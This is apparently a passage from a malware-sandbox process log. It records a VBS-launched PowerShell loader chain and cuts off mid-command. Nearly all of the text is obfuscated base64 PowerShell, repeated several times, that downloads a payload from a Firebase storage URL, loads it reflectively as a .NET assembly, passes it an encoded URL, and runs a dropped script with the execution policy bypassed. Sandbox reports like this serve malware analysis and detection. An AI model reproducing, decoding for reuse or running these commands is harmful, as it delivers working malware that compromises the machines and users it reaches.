uQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$Update.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7172
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Update.vbs
    3⤵
    PID:6264
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$Update.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmAHgAMABoADMANgB4AGgAOQA9AHQAcwAmAHcAMAB4AGEAYgB4AG0AeAA1AHIAcABpADEAaABuAGQAOQBpAHYAeABwAHEAYgA5AHQAPQB5AGUAawBsAHIAPwB0AHgAdAAuADIAQwAvADMAMwBkAHIAZgByAG4AbgBvAHAAZQBjADIAbwBzADkAdQBhAG0AaQBiAC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$a$Update.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4760
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener1.vbs
    3⤵
    PID:6272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener1.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3752
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener.vbs
    3⤵
    PID:6972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7868
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener3.vbs
    3⤵
    PID:7036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener3.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7876
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmAHgAMABoADMANgB4AGgAOQA9AHQAcwAmAHcAMAB4AGEAYgB4AG0AeAA1AHIAcABpADEAaABuAGQAOQBpAHYAeABwAHEAYgA5AHQAPQB5AGUAawBsAHIAPwB0AHgAdAAuADIAQwAvADMAMwBkAHIAZgByAG4AbgBvAHAAZQBjADIAbwBzADkAdQBhAG0AaQBiAC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener3.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:744
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener3.vbs
    3⤵
    PID:7060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyc